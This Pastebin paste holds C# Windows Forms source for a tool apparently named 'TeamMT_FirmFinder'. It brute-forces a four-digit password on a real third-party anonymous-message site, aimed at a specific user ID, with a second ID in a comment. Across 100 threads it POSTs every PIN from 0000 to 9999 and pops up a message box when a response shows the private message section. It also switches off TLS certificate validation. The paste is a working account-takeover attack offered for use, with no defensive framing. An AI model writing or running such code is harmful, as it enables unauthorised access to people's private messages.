Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Collections.Generic;
- using System.ComponentModel;
- using System.Data;
- using System.Drawing;
- using System.Linq;
- using System.Text;
- using System.Threading.Tasks;
- using System.Windows.Forms;
- using MetroFramework.Forms;
- using System.Net;
- using System.Threading;
- namespace TeamMT_FirmFinder
- {
- public partial class Form1 : MetroForm
- {
- public Form1()
- {
- InitializeComponent();
- ServicePointManager.Expect100Continue = true;
- ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
- ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
- this.FormClosing += delegate
- {
- Environment.Exit(Environment.ExitCode);
- };
- }
- int firstdig = 0, seconddig = 0, thirddig = 0, fourthdig = 0;
- private void button1_Click(object sender, EventArgs e)
- {
- for (int i = 0; i < 100; i++)
- {
- new Thread(() =>
- {
- TryPassword();
- }).Start();
- }
- }
- private string GetPassword()
- {
- string value = "0";
- this.Invoke(new Action(() =>
- {
- if(firstdig == 9 && seconddig == 9 && thirddig == 9 && fourthdig == 9)
- {
- value = "0";
- }
- else
- {
- if (fourthdig == 9)
- {
- if (thirddig == 9)
- {
- if (seconddig == 9)
- {
- if (firstdig == 9)
- {
- }
- else
- {
- firstdig++;
- seconddig = 0;
- thirddig = 0;
- fourthdig = 0;
- }
- }
- else
- {
- seconddig++;
- thirddig = 0;
- fourthdig = 0;
- }
- }
- else
- {
- thirddig++;
- fourthdig = 0;
- }
- }
- else
- {
- fourthdig++;
- }
- value = firstdig.ToString() + seconddig.ToString() + thirddig.ToString() + fourthdig.ToString();
- label1.Text = value;
- }
- }));
- return value;
- }
- private void TryPassword()
- {
- while (true)
- {
- string pass = GetPassword();
- if (pass == "0")
- {
- break;
- }
- MyWebClient client = new MyWebClient();
- string upstr = "password=" + pass.ToString() + "&submit=%D9%86%D9%85%D8%A7%DB%8C%D8%B4++%D9%BE%DB%8C%D8%A7%D9%85+%D9%87%D8%A7%DB%8C+%D8%AF%D8%B1%DB%8C%D8%A7%D9%81%D8%AA%DB%8C";
- client.Headers.Set(HttpRequestHeader.ContentType, "application/x-www-form-urlencoded");
- //551688925
- //559522566
- try
- {
- string res = client.UploadString("https://instagraph.ir/harfeto/user/559522566", upstr);
- if (res.Contains("messagesSection"))
- {
- MessageBox.Show("ITS: " + pass.ToString());
- }
- else
- {
- //MessageBox.Show("NO");
- }
- }
- catch
- {
- }
- }
- }
- class MyWebClient : WebClient
- {
- protected override WebRequest GetWebRequest(Uri address)
- {
- HttpWebRequest request = base.GetWebRequest(address) as HttpWebRequest;
- request.Timeout = 50000;
- request.ReadWriteTimeout = 50000;
- request.AutomaticDecompression = DecompressionMethods.Deflate | DecompressionMethods.GZip;
- return request;
- }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement